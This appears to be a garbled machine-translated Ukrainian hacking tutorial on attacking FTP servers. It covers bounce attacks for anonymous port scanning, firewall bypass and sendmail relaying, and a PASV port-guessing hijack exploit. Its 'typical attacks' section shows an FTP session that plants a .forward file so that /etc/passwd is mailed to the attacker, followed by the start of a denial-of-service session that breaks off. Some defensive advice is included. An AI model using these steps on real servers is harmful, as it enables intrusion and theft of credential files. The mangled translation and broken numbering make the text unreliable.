Главная » З'єднання і комутація » Як зламати ftp сервер. Уязвімості FTP сервісів

Як зламати ftp сервер. Уязвімості FTP сервісів

Як зламати ftp сервер. Уязвімості FTP сервісів

Автор: Dexim (mailto: dexim @ cydem. Zp. Ua)

Загальні відомості про FTP вразливості.

FTP-специфікація містить безліч механізмів, які можуть використовуватися для обходу систем безпеки. FTP дозволяє користувачеві пересилати файли з сервера на інший комп'ютер. Ця технологія, відома як proxy FTP, викликає добре відомі проблеми захисту. FTP специфікація дозволяє провести необмежене число спроб по введенню пароля користувача. Це дозволяє провести підбір пароля. File Transfer Protocol specification (FTP) дозволяє користувачеві встановити FTP-з'єднання і пересилати файли між 2-ма FTP серверами. Цей механізм використовується для зменшення корисного трафіку в мережі. Це особливо ефективно при використанні повільного з'єднання (наприклад, модем). Proxy FTP викликає проблему, відому як "bounce attack" - докладніше про неї нижче. Також FTP може використовуватися для підбору пароля.

FTP Bounce атака.

Вступ.

Уже кілька років, проходять постійні дискусії про проблеми пов'язані з командою PORT в FTP протоколі. Ці проблеми засновані на неправильному використанні команди PORT в FTP протоколі. Хоча ця проблема була виявлена ​​кілька років назад, але вона до цих пір не втратила своєї актуальності.

1.FTP протокол.

Щоб зрозуміти атаку треба мати уявлення про FTP протоколі (Postel, J. and J. Reynolds, "File Transfer Protocol," STD 1, RFC 959, USC / Information Sciences Institute, October 1985.) [1] Спочатку клієнт відкриває з'єднання на керуючому порту FTP (порт 21) FTP сервера. Так щоб сервер потім міг послати дані на машину клієнта, потім з'єднання повинно бути відкрито між сервером і клієнтом. Щоб здійснити це друге з'єднання, клієнт посилає команду PORT на сервер. Ця команда включає параметри, які говорять сервера з яким IP адресою треба з'єднатися і який порт відкрити за цією адресою - в більшості випадків це приблизно буде порт з великим номером на машині клієнта. Сервер потім відкриває це з'єднання, джерелом з'єднання є 20 порт на сервері, а приймач - це порт ідентифікується по параметрам команди PORT. Команда PORT зазвичай використовується в "active mode" FTP, за замовчуванням. І звичайно не використовується в passive (також відомий як PASV [2]) mode. Майте введу, що сервери зазвичай підтримують обидва режими, а клієнт визначає який з методів використовувати [3].

2. The FTP Bounce Attack

Відповідно FTP протоколу, команда PORT формується для кожного клієнта специфічно - відповідно і порт на стороні клієнта теж. Але це також означає, що атакуючий може відкрити з'єднання на порт за своїм вибором на машині яка можливо не є істинним клієнтом. Отримання цього з'єднання на довільній машині - це і є FTP bounce attack. Для ілюстрування привожу кілька прикладів її використання.

3.1 Port scanning.

Атакуючий бажає провести сканування порту хоста і може це зробити з анонімно через FTP сервер який виступає в якості етапу сканування. Хост жертви бачить сканування виходить від FTP сервера, а не дійсне джерело (FTP клієнт).

При деяких обставинах, ця техніка являє атакуючому великі переваги - це точне приховування реального джерела дослідження. Коли приблизна жертва в цій підмережі є FTP сервером, або коли не фільтрується трафік вихідний з FTP сервера, атакуючий може використовувати сервер як джерело сканування портів, що краще ніж машину клієнта, таким чином вдається обійти обмеження доступу, яке могло в іншому випадку фільтруватися Firewall.

3.2 Обхід Firewall.

Атакуючий може обійти firewall (або іншу обмежує захист) в певних конфігураціях мережі. Наприклад, припустимо, що хост має анонімний FTP сервер за firewall. Використовуючи вищевказану технологію сканування портів атакуючий визначає, що внутрішній web сервер на цьому хості знаходиться на 8080 порту, порт нормально блокується firewall. При з'єднанні на public FTP сервер на хості, атакуючий ініціює подальше з'єднання між FTP сервером і довільним портом на внутрішній машині на хості (наприклад внутрішній web сервер на 8080 порту). В результаті. атакуючий встановлює з'єднання з машиною яка в іншому випадку захищається firewall.

3.3 Приклад атаки на sendmail.

- Знаходимо сервер який дозволяє uploads.

- Upload'ім на туди файл містить SMTP діалог для посилки повідомлення

- Даємо команду PORT victim-ip, 25

- Даємо команду RETR filename

Теж саме можна зробити і з діалогом NNTP.

4. Рішення. - Захист від Bounce Attack

Оригінальна FTP специфікація на увазі з'єднання за допомогою Transmission Control Protocol (TCP). Порти TCP від ​​0 до 1023 зарезервовані для таких сервісів, як пошта, мережеві новини і контроль FTP з'єднань. FTP специфікація не має обмежень на номер TCP порту, який використовується для з'єднання. За допомогою proxy FTP користувач може провести за допомогою сервера атаку сервісів на будь-якій машині.

Для уникнення подібних атак необхідно заборонити відкриття з'єднання в портах TCP, менших 1024. Якщо сервер отримує команду PORT з параметром, меншим 1024, сервер відповідає 504 (визначено як "Command not implemented for that parameter"). Однак це все ще залишає уразливими сервіси, що запускаються на портах понад ніж 1024.

Деякі джерела пропонують використання іншого протоколу (НЕ TCP). Потрібно врахувати, що bounce attack вимагає закачування файлу на FTP сервер і подальшу його перекачування на атакується сервіс. Використання файлових захистів усуне цю можливість. Зломщик також може атакувати сервіс посилкою випадкових даних з FTP сервера, що може

Доставити деякі проблеми сервісів.

Відключення команди PORT також може бути використано для захисту від атак. Більшість файлових пересилань може бути зроблено за допомогою команди PASV. Однак в такому випадку proxy FTP не може бути використано.

- Допускати в параметрах команди PORT тільки IP клієнта.

- Або не підтримувати FTP взагалі.

5. Які сервера схильні до цієї уразливості.

За даними статті "The Art of scanning ports" by Fyodor mailto: fyodor @ dhp. com В

;

Сканер nmap вже є така можливість скані порти через FTP.

* Bounce attacks worked: *

220 xxxxxxx. com FTP server (Version wu-2.4 (3) Wed Dec 14.) ready.

220 xxx. xxx. xxx. edu FTP server ready.

220 xx. Telcom. xxxx. EDU FTP server (Version wu-2.4 (3) Tue Jun 11.) ready.

220 lem FTP server (SunOS 4.1) ready.

220 xxx. xxx. es FTP server (Version wu-2.4 (11) Sat Apr 27.) ready.

220 elios FTP server (SunOS 4.1) ready

* Bounce attack failed: *

220 wcarchive. cdrom. com FTP server (Version DG-2.0.39 Sun May 4.) ready.

220 xxx. xx. xxxxx. EDU Version wu-2.4.2-academ [BETA-12] (1) Fri Feb 7

220 ftp Microsoft FTP Service (Version 3.0).

220 xxx FTP server (Version wu-2.4.2-academ [BETA-11] (1) Tue Sep 3.) ready.

220 xxx. unc. edu FTP server (Version wu-2.4.2-academ [BETA-13] (6).) ready.

3) Використання похибки в реалізації FTP протоколу. [4]

Девід Сейсердот в своїй статті присвяченій уразливості FTP протоколу і датованій аж квітня 1996 року теоретично вразливість FTP протоколу при його некоректної реалізації. У статті цікаві два моменти, причому не пов'язані безпосередньо з її змістом а саме:

1. З квітня 1996 року проблему анітрохи не втратила своєї актуальності. Проблема дуже серйозна, оскільки дозволяє, наприклад, атакувати клієнта знаходиться за проксі-сервером (підсунувши змінені дані проксі серверу ви тим самим підсуне їх клієнту).

2. Девід помилявся як в оцінці вразливості FTP-клієнтів, так і в складності реалізації даної уразливості, т. К. Зазначені ним методи надто складні для реального використання.

Лікуватися ця проблема так само повинна іншими методами: сервер не повинен приймати більше одного з'єднання на порт даних (так робить IIS, тому проти нього така атака працює лише як DoS, не дозволяючи під'єднатися клієнтам). Клієнт в активному режимі повинен перевіряти IP адреса з'єднання і так само не дозволяти двох з'єднань на один порт. Крім того, при отриманні повідомлення про помилку або при несподіваному закриття контрольного сеансу, сторона, що приймає дані, повинна ці дані ігнорувати (т. Е. Видаляти прийнятий файл). Крім того, бажано наявність в протоколі команди обчислює контрольну суму файлу (хоча цим можна скористатися як DoS атакою - потрібні великі ресурси сервера).

Було виявлено, що стандартний ftp з FreeBSD 2.2.5 (і напевно будь-який інший BSD4.2 клієнт) вразливий, незважаючи на запевнення Девіда в зворотному. Так само вразливий практично будь-який FTPD-based FTP сервер (wu-ftpd, наприклад, практично будь-якої версії або стандартний FTPD). При цьому ftp клієнт в Midnight Commander, наприклад, такої проблеми не має.

Проблема була досліджена заразитися [4] після чого він написав експлоїт, який використовує точь-в-точь алгоритм запропонований Девідом більше трьох років тому. Цитата з його статті з цього приводу: "Може бути я і винайшов велосипед, але, схоже, на цьому велосипеді за три роки кататися розучилися. Принаймні, відвідуваність FTP серверів не впала а захищеність не збільшилася."

- Вгадуємо, який порт буде відкритий пасивним FTP-сервером або активним клієнтом і атакуємо цей порт постійними запитами на TCP з'єднання. Якщо з'єднання вдалося встановити, ми або посилаємо туди свої власні дані або читаємо дані звідти. Або - і те й інше. Питання лише в тому, як вгадати порт, а зробити це не складно, якщо ви можете використовувати атакується машину або як FTP сервер, або як проксі або як сервер для відправки пошти. У разі атаки на FTP сервер - ми не маємо жодних проблем.

- Як працює експлоїт: Відкриває з'єднання на 21й порт сервера і через рівні інтервали часу дає команду PASV, на яку сервер люб'язно відповідає номером відкритого порту. Саме так його ми і використовуємо за основу для обчислення атакується порту. З'єднання встановлюється, програма переходить в режим очікування даних. Якщо протягом 5 секунд дані не надійшли, то програма сама посилає дані. Працює як проти сервера, так і проти клієнта (за умови, що на машині клієнта так само живе FTP-Сервер). Можна атакувати клієнта і використовуючи дані про порт отримані іншим чином, наприклад, якщо на комп'ютері клієнта варто sendmail можна відправляти через нього листи на свою машину і визначати номер порту, з якого прийшло з'єднання на 25й порт. Якщо на комп'ютері клієнта є проксі сервер, то можна запросити будь-яку URL зі свого комп'ютера і так же визначити порт вхідного з'єднання.

4) Типові атаки на FTP.

1.Получение рута на FTP.

Bash # ftp - n

Ftp> open victim. com

Connected to victim. com

220 victim. com FTP server ready.

Total 4

Dr-xr-xr-x 2 root operator 512 Feb 28 2000 bin

Dr-xr-xr-x 2 root operator 512 Sep 18 2000 etc

Drwxrwxrwt 13 root operator 1024 Jul 1 00:55 incoming

Drwxr-xr-x 3 root operator 512 Feb 19 10:25 pub

226 Transfer complete.

Ftp> put myforward_file. forward

Ftp> quit

Bash # echo 'You a hacked' | mail ftp @ victim. com

Таким чином ми відсилаючи лист користувачеві ftp, виконається наш. forward файл і якщо у демона досить прав на те щоб прочитати / etc / passwd то можна очікувати його приходу на вказану поштову скриньку.

3. D. oS атака на FTPd.

Bash-2.05 $ ftp victim. com

Connected to victim. com.

220 victim. com FTP server (Version 6.00) ready.

Name (victim. Com: hacker): ftp

331 Guest login ok, send your email address as password.

Password:

230- Welcome to victim. com FTP server!

230 Guest login ok, access restrictions apply.